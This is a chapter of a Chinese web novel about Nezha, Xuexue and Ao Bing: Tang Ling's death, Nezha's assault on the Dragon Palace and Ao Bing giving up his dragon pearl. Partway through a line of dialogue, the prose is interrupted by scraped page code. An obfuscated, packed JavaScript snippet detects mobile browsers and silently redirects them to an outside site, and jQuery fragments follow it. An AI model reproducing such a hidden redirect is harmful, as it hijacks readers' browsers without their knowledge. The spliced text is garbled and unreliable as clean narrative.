殁了?
簌雪以为自己在做梦,还是出现了幻听。
过往的一幕幕,不受控制的在眼前浮现。
那个曾在她怯生生浮出水面时,对她露出笑意的绿衣少女。
那个在她惶惶不可终日时,将玉坠赠给她,安抚她说自己不曾怪她的汤灵。
怎么会……殁了?
绝望瞬间蔓延全身,让她几乎无法呼吸。
衣袖里的坠子滑落,掉在冰冷的地面,她下意识地弯腰想去拾起,指尖却颤抖得不听使唤。
簌雪猛地抬头,突然想到,汤灵嘱托自己的话。
对她甚至来不及思考,身体已经先于意识冲了出去!
不出所料。
演武场上,一片狼藉。
哪吒背对着她,周身缠绕着肉眼可见的暗红色煞气。
他手中的火尖枪嗡鸣震颤,枪尖锃亮,杀气外泄,周围的空气都被扭曲,旁人不敢靠近。
那双总是桀骜的眸子,此刻赤红如血,里面翻涌着滔天的巨浪。
——是撕心裂肺的痛楚,是焚尽一切的愤怒,是压抑了太久终于彻底爆发的疯狂。
“哪吒!哪吒不要!”
簌雪几乎是踉跄着扑过去的,用尽全身力气死死抓住他紧握枪杆的袖口,指甲几乎要嵌进他的皮肉里。
哪吒却根本不理会她,只是在口中轻轻道出几个字:“我要去龙宫,杀了他。”
她仰着头,看着他几乎失去焦距的瞳孔,声音带着前所未有的惊惧:“你冷静点,现在去有什么用?汤灵已逝,你冷静一点!我们……我们从长计议好不好?”
若说得知这个消息,簌雪自认为自己对敖丙的恨,绝不比哪吒少。
汤灵的嘱托在她脑海中疯狂叫嚣——不能让他去!不能让他杀敖丙!不能让他背负这条命,损了道心!
只能压抑住自己的恨意。
“从长计议?”
哪吒猛地转过头,那双燃烧着火焰的眼睛死死钉在她脸上,里面的暴戾和憎恶毫不掩饰,瞬间将她吞噬。
他每一个字都像是从牙缝里碾磨出来,带着灼人的火星:“敖簌雪,你总是能说的这般轻巧。”
“那日你解释说,并非故意引汤灵前去,想将自己摘得干净。今日在此,竟也能这般心平气和的劝我从长计议。”
哪吒神色冷冽:“她将你当做挚友,而她的生死,你竟全然不在意么。”
“不是这样!” 簌雪急切地想要辩解,泪水模糊了视线:“你听我说,是汤灵她……”
“闭嘴!”
哪吒猛地甩开她的手,力道之大,带着毫不留情的狠绝。
簌雪整个人向后踉跄数步,脊背狠狠撞在冰冷的廊柱上,痛得她眼前发黑。
他一步踏前,逼近她,那双赤红的眸子如同最锋利的刀刃,将她所有的解释都寸寸凌迟:
“收起你那副楚楚可怜的模样!敖簌雪,你听着,你现在还能站在这里,全是因为汤灵。”
他的声音没有丝毫情感,却是字字诛心:
“若不是汤灵求情,早在水牢那日,你和你三哥就该葬身于我的火尖枪下。”
这几个字,如同沉重的枷锁,瞬间勒紧了簌雪的喉咙,让她所有的话都哽在喉间,再说不出一个字。
长久以来,模糊不明的心意,她似是在这一刻,全明白了。
原来,在他心里,她的存在本身,就是原罪,是靠着另一个女子的牺牲才苟活下来的累赘。
-
东海龙宫,已成炼狱。
华美的水晶宫阙破碎倾颓,珍贵的珊瑚丛林化为齑粉,昔日肃立的虾兵蟹将倒伏一地,哀嚎声此起彼伏。
哪吒如同从幽冥归来的杀神,所过之处,火尖枪带起滔天业火,焚尽一切阻碍。
他目标明确,每一步都踏着水族的恐惧与惊骇,朝着敖丙寝殿的方向而来。
“哪吒住手!你疯了不成!”
外面已经乱成一团,敖广才姗姗来迟。
他狼狈地挡在敖丙的寝宫门前,龙袍破损,发髻散乱,早已失了龙王威仪,只剩下惊惧与仓皇。
此刻却为了自己宝贝儿子,顾不得太多:“杀了敖丙,四海龙族绝不会善罢甘休!你这是要与整个龙族开战!”
“开战?”
哪吒停下脚步,冷笑,赤红的眸子扫过敖广:“那便战!”
杀意乍现,让敖广肝胆俱裂。
他知哪吒是灵珠子转世,且敖丙所为确有过失,哪吒欲诛敖丙,是行大义之道,而自己若诛哪吒,师出无名,必回引来天罚。
眼见劝阻无效,他猛地想起什么,像是抓住了最后一根救命稻草,嘶声喊道:“你不能杀他!你杀了她哥哥!你要簌雪如何自处?”
当日簌雪闯入龙宫,于他恩断义绝之事,仿佛不曾发生过,敖广这会儿倒是想起,自己还有这么个女儿,押在陈塘关做人质。
“敖簌雪?”
哪吒缓缓重复着这个名字,嘴角勾起一抹极致讽刺的弧度,那笑容没有半分暖意,只有嘲弄:“她如何自处,与我何干?”
“与你何干?!”
敖广被他这轻飘飘的一句话彻底激怒,气得浑身发抖,指着哪吒,口不择言地嘶吼道:“与你何干?那日你闯入我龙宫水牢,欲取我儿性命,本王答应交出簌雪,你们便答应饶我儿一命,你父亲和师父皆在场,怎能反悔!”
簌雪虽也愤恨委屈,但是为着应允汤灵的承诺,强忍厌恶,再度踏入这个龙宫,听到的就是敖广这一番话。
事到如今,敖广心心念念的,仍旧只有敖丙。
此时的愤怒实实在在,却并不为她。
而是在生气,明明已经卖了自己的女儿,为何还不能保儿子一命?
哪吒像是听到了世间最荒谬的笑话:“就是要反悔,你能如何?”
他冷冷道:“当日谁答应你的,你便去找谁,我可从头到尾没答应过要放了敖丙,之所以等到今日,是因为汤灵。”
敖广争辩:“那簌雪呢,你们分明……”
哪吒打断他,一字一句:“敖簌雪?你说你将她送给我,是为了换敖丙一命,可我从没答应过要她。”
敖广气的胡子竖起,指着哪吒,说不出话:“你!你岂能出尔反尔!?”
“出尔反尔的究竟是我,还是你们东海龙族!”哪吒周身戾气暴涨,枪尖一横,直指敖广。
“我可以将你女儿送还你,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870445|190777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那你又能不能把汤灵还给我!”
簌雪停在门边,那些话,一字不落的,进到她耳中。
她听到了。
此时只觉着天旋地转。
原来在他们看来,她只不过是一个,可以随时送来换去的筹码。
扶着旁边一根断裂的水晶柱,勉强支撑住摇摇欲坠的身体。
原来……如此。
原来她身在陈塘关总兵府时,那么多个难以入眠的日夜,在父兄眼中,不过是算计好的筹码。
即便那些连她自己都不敢正视,在无数个深夜里反复咀嚼又强行压下的悸动,在哪吒眼中,也不过是一场交换。
所有的坚持、挣扎,在这一刻,化为齑粉。
她看着远处那个作势要让整个龙宫万劫不复的少年。
又看了眼为了儿子,不惜将她最后一点价值与尊严都榨干踩碎的“父亲”,只觉得她所作的一切,都无比可笑。
簌雪张了张嘴,喉咙里像是堵满了沙砾,发不出任何声音,只有滚烫的泪水,毫无预兆地汹涌而出。
原来,从始至终,她都没有逃离过被利用、被牺牲、被轻/贱的命运。
她曾以为,只要与整个东海割席,就能有新的开始。
到头来,还是身陷囹圄之中。
-
殿外喧嚣吵闹,大有不死不休之势。
殿内,却是死一般的寂静。
敖丙瘫坐在寒玉床榻边,昔日阴鸷张狂的脸上,此刻只剩下灰败的死气。
他捂着胸口,那里神魂与汤灵强行链接之处,如今只剩下一个鲜血淋漓,不断溃散的空洞。
剧痛从灵魂深处传来,那是汤灵自戕时决绝的反噬。
他听着外面,父亲声嘶力竭却徒劳的阻拦,嘴角竟扯出一抹古怪又癫狂的笑意。
“来不及了,都来不及了……”
他低声喃喃,眼中却没有对死亡的恐惧,反而近乎偏执。
敖丙想要起身,却猛地咳出一大口血,气息瞬间萎靡下去,但眼神却亮得骇人。
他用尽最后的气力,双手结出法印,周身黯淡的气息开始疯狂倒卷。
寝殿内的光线骤然扭曲,所有灵气如同百川归海,朝着敖丙心口汇聚。
他脸色惨白,身体因激动而剧烈颤抖,皮肤下甚至有细密的血珠渗出。
但他咬紧牙关,眼中只有疯魔的执念。
渐渐地,一颗拳头大小的透明龙珠,在他胸前缓缓凝聚成形。
直到最后,自体内取出,落在敖丙手中。
“敖孪!”
敖丙嘶哑着嗓子,朝着寝殿阴影处低吼。
敖孪无声无息地现身,脸上惯有的阴恻笑意,也被惊骇取而代之。
他看着敖丙手中,那颗凝聚他一身修为的龙珠,眉头紧锁。
“拿着!”
敖丙将龙珠猛地推向敖孪,动作粗暴,眼神却死死锁住他:“去潜渊!聚灵之日前,必须赶到!”
敖孪接住龙珠,一时间忘了答话。
听着门外的打斗声越来越近,敖丙焦急,声音近乎嘶吼:
“没时间了!潜渊聚灵,百年一回,错过这一次,母后的残魂就真的要散于天地了!”